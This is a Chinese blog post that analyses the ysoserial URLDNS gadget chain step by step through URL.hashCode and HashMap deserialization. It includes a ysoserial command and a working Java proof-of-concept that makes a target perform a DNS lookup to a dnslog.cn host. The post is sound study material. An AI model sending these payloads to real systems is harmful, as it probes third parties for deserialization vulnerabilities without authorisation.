JAVA反序列化-ysoserial-URLDNS原理分析
ysoserial
java反序列化工具,利用它通过指定利用链,获取恶意代码序列化之后的内容,将内容发送给目标,目标对内容发序列化进而触发恶意代码。
URLDNS
是ysoserial
中对一个利用链,但是他不能把任何的命令作为参数,而是一个url,而且也不能执行任何命令,只能去请求一个url。
java -jar ysoserial.jar URLDNS "uht6g4.dnslog.cn"
具体的利用代码就是这样:
public class danDemo{
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://ym6ffz.dnslog.cn");
url.hashCode();
}
}
具体分析
URL类
主要是处理URL。
hashCode
java
的Object
的类方法,在许多类中都会继续使用该方法。主要是解决我们在比较数据的时候,挨个对象使用equals
方法比较导致花费时间太长的问题。
比如说一个列表中有十万个数据,要插入一个数据,如果已存在则不插入,不存在则插入,所以就需要去比较一下每个数据是否与插入数据相等,相等则代表已存在。十万条数据逐个去调用equals()是不是相等,花费的时间就很长。
ideal
分析
以下代码下断点:
url.hashCode();
首先进去URL.java
类的hashCode
方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
//返回hashCode为-1
继续进入以下函数
hashCode = handler.hashCode(this);
进入URLStreamHandler.java
类的hashCode
函数
该函数传入一个url,然后使用一下函数获取url的内容。传入urlhttp://ym6ffz.dnslog.cn
。
String protocol = u.getProtocol();
InetAddress addr = getHostAddress(u);
String file = u.getFile();
String ref = u.getRef();
四个变量对应的变量值为:
获取到url的每一部分的值之后会对每个值进行hashcode方法,然后将结果添加到h,最后该函数返回h值。
h += ref.hashCode();
在该类的hascode方法中会调用getHostAddress
,会返回一个url的ip地址,所以我们使用该方法会去发起dns请求,请求一个url,获取ip。
public class danDemo{
public static void main(String[] args)
{
try
{
InetAddress ia1=InetAddress.getByName("www.qq.com");
System.out.println(ia1.getHostName());
System.out.println(ia1.getHostAddress());
}
catch(UnknownHostException e)
{
e.printStackTrace();
}
}
}
到这里,我们已经理解java是如何通过类和方法来发起请求获取ip地址的。我们说过主要是利用urldns获取反序列化数据,如果目标反序列化内容,会向目标url发起请求,这样就可以判定目标存在反序列化漏洞。发起请求有了,反序列化在哪里呢?这就要看hashmap类。
HashMap类
作用是用来存储内容,内容以键值对的形式存放。
import java.util.HashMap;
public class RunoobTest {
public static void main(String[] args) {
// 创建 HashMap 对象 Sites
HashMap<Integer, String> Sites = new HashMap<Integer, String>();
// 添加键值对
Sites.put(1, "Google");
Sites.put(2, "Runoob");
Sites.put(3, "Taobao");
Sites.put(4, "Zhihu");
System.out.println(Sites);
}
}
输出
{1=Google, 2=Runoob, 3=Taobao, 4=Zhihu}
直接在ideal
中查看该类,首先该类继承Serializable
接口,一个类继承该接口可以进行反序列化处理。
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
并且该类还具有一下两个方法:
private void writeObject(java.io.ObjectOutputStream s) throws IOException
//对数据序列化
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
//对数据反序列化
对于Java对象序列化操作的类是ObjectOutputStream,反序列化的类是ObjectInputStream。ObjectOutputStream,它提供了不同的方法用来序列化不同类型的对象,比如writeBoolean,wrietInt,writeLong等,对于自定义类型,提供了writeObject方法。
private void writeSerialData(Object obj, ObjectStreamClass desc)
throws IOException
{
ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();
for (int i = 0; i < slots.length; i++) {
ObjectStreamClass slotDesc = slots[i].desc;
if (slotDesc.hasWriteObjectMethod()) {//如果重写了writeObject方法
PutFieldImpl oldPut = curPut;
curPut = null;
SerialCallbackContext oldContext = curContext;
try {
curContext = new SerialCallbackContext(obj, slotDesc);
bout.setBlockDataMode(true);
slotDesc.invokeWriteObject(obj, this); //调用实现类自己的writeobject方法
bout.setBlockDataMode(false);
bout.writeByte(TC_ENDBLOCKDATA);
} finally {
//省略
}
curPut = oldPut;
} else {
defaultWriteFields(obj, slotDesc);
}
}
}
注意看
if (slotDesc.hasWriteObjectMethod())
slotDesc.invokeWriteObject(obj, this);
可以总结到
ObjectOutputStream中进行序列化操作的时候,会判断被序列化的对象是否自己重写了writeObject方法,如果重写了,就会调用被序列化对象自己的writeObject方法,如果没有重写,才会调用默认的序列化方法。
那么该类的方法是如何对传入的内容进行反序列化呢?可以具体的查看一下该方法:
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
对传入的内容进行反序列化,获得到key、value,然后对key传入hash方法。接下来在看一下hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
如果key不为空,则进行hashCode方法,而我们在前面提到url类的hashCode方法是可以发起url请求对。现在需要做的就是我们需要将一个内容传送给hashcode方法,对该内容反序列护化获取key、value。然后对key调用hascode方法,如果key是url对象,url对象的hashcode方法可以发起url请求。
构造payload
思路:创建hashmap类-创建url类-将键值对写入到生成的hashmap对象中-对该对象进行序列化反序列化。
Map hashMap = new HashMap();
URL url = new URL("unveog.dnslog.cn");
hashMap.put(url,"steady");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
我们在上面讲过ObjectOutputStream中进行序列化操作的时候,对于传入的对象,如果该对象对应的类重写了writeObject方法,会调用该对象的方法,所以会调用HashMap的writeObject方法。
运行之后是无法发起dns请求的,原因是在执行以上代码的时候会执行以下函数,其中hashCode
不为-1,不会继续执行
handler.hashCode(this);
。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
问题就来了我们在开头的代码如下,也调用了hashCode方法,为什么此时的hashCode
不满足hashCode != -1
条件呢?
public class danDemo{
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://unveog.dnslog.cn");
url.hashCode();
}
}
原因就在与hashMap.put(url,"test");
。put方法的具体代码
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
也就是说在我们反序列化之前就已经调用过hashcode方法,此时的hashcode缓存下来,即 hashcode 不为 -1。然后在反序列化的时候又一次调用hashcode方法,所以此时满足条件,进而不会继续执行代码发起dns请求。
在这里我们再次分别对两次代码下断点,这次主要是看看每次的hashcode值是多少。
第一次:
执行url.hashCode();
之后hashcode值是-1,直接不满足条件进入接下来的代码发起dns请求。
第二次:
hashMap.put(url,"test");
下断点,会第一次调用hashcode
方法,此时hashcode值为-1。
继续调试注意看就是在此时发hashcode的值缓存,为2133919961
接着本来想在ois.readObject();
下断点一次次的跟进调试,但是死活找不到调用hashcode
方法的地方。但是我们肯定,二次的hashCode
方法是在反序例化的时候调用的,所以在hashmap类中的反序列化方法中下断点
putVal(hash(key), key, value, false, false);
调试跟进,可以看到此时的hashcode的值,这样在反序列化的时候是发起不了dns请求的。
归根结底就是hashcode的值问题,修改一下就ok,所以我们用到反射的知识,在代码运行的时候动态的修改类的属性值,其中getDeclaredField
方法获取一个类的所有成员变量,不包括基类。
Field field = u.getClass().getDeclaredField("hashCode");//获取变量之后进行修改。
field.setAccessible(true);
field.set(u,-1);//修改变量。
最终代码
public class danDemo{
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://unveog.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url,"steady");
f.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
最后成功发起请求。
没有评论